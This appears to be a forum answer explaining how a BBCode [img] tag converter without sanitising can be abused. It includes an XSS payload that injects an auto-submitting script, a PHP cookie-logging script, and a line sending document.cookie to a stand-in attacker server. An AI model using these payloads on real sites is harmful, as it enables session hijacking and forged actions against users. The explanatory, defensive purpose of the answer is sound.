Assuming your conversion function does not sanitize:
[img]" /><script>var x=document.forms[0];x.message.value='XSS injection here';x.submit()</script><img src="[/img]
becomes:
<img src="" />
<script>var x=document.forms[0];x.message.value='XSS injection here';x.submit()</script>
<img src="" />
This is a simple example of CSRF (cross-site request forgery). As soon as another user loads said [img] tag, they will run the Javascript that has been injected as an authenticated user, submitting the form unintentionally upon page load.
There are even worse possibilities, including XSS (cross-site scripting). For instance, your attacker may have a remote server that has a script similar to this:
foo.php:
<?php
require_once('db-config.php');
mysql_query("INSERT INTO `cookies` VALUES
(DEFAULT, '" . mysql_real_escape_string($_GET['input']) . "'"));
?>
The attacker can send an AJAX request through the injected Javascript and send himself your session cookie with a URL like so:
'http://attacker-server.com/foo.php?input=' + document.cookie;
This will allow the attacker to hijack your session ID, impersonating you in the application.
An obstacle for the interim to solve a problem such as this (an imperfect solution) is to set the HttpOnly property on your cookie(s) to prevent certain CSRF attacks from occurring.
EDIT:
You mentioned:
What I have in mind, but I am not totally sure, is something like,
[img]http://mysite.com/user?deleteAccount=1[/img]. Is this possible?
Are there other ways to exploit this functionality?
This is definitely possible. Read my explanation above regarding CSRF. In fact, many web applications use this to track e-mail clickthroughs, as the hidden image's src
value links to a script that runs when a user opens their e-mail.
href
, could it be exploited?